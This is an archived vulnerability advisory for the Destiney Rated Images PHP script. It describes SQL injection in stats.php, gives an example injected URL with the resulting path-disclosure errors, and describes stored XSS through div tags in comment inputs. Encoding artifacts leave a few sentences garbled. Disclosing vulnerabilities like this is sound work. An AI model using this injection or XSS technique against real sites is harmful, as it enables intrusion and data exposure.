Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Apps :: b06-2345.htm

Destiney Rated Images Script v0.5.0 - XSS Vulnv



Destiney Rated Images Script v0.5.0 - XSS Vulnv
Destiney Rated Images Script v0.5.0 - XSS Vulnv



Destiney Rated Images Script v0.5.0=0D
=0D
Homepage:=0D
=0D
http://destiney.com/scripts=0D 
=0D
Description:=0D
=0D
Destiney Rated Images script is continuation of the free phpRated script. Rated Images is a web application written in =0D
=0D
PHP for use with MySQL. Rated Images allows visitors to your site to list their pictures and have them rated by other members who may visit. Rated Images allows visitors to send other members private messages, as well as leavecomments. Members may rate other members on a scale of 1-10. Members may also participate in the mix/match section. Viewing and reviewing members can be accomplished a number of ways, and many options are available to encourage member interaction.=0D
=0D
Effected Files:=0D
addWeblog.php=0D
leaveCommentReply.php=0D
stats.php=0D
=0D
------=0D
=0D
stats.php Exploit:=0D
=0D
SQL Injection of stats.php leads to full path disclosures.=0D
=0D
Example:=0D
http://www.example.com/stats.php?s=SELECT SUM( rating )FROM ds_image_ratings WHERE created ='x'=0D 
=0D
=0D
Notice: Undefined variable: scriptName in /home/destiney/domains/ratedsite.com/public_html/stats.php on line 624=0D
=0D
Notice: Undefined variable: alt in /home/destiney/domains/ratedsite.com/public_html/stats.php(640) : eval()'d code on line 4=0D
=0D
Notice: Undefined variable: desc in /home/destiney/domains/ratedsite.com/public_html/stats.php(640) : eval()'d code on line 8=0D
=0D
-----=0D
=0D
addWeblog.php Exploit: =0D
=0D
The input box for addweblog.php and leaveComments.php allows ceritan HTML tags include the 
tag.=0D =0D The comment reply input boxes not allow ceritan html tags, one being the
tag A user can add java script to the div tag and commit a XSS.


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH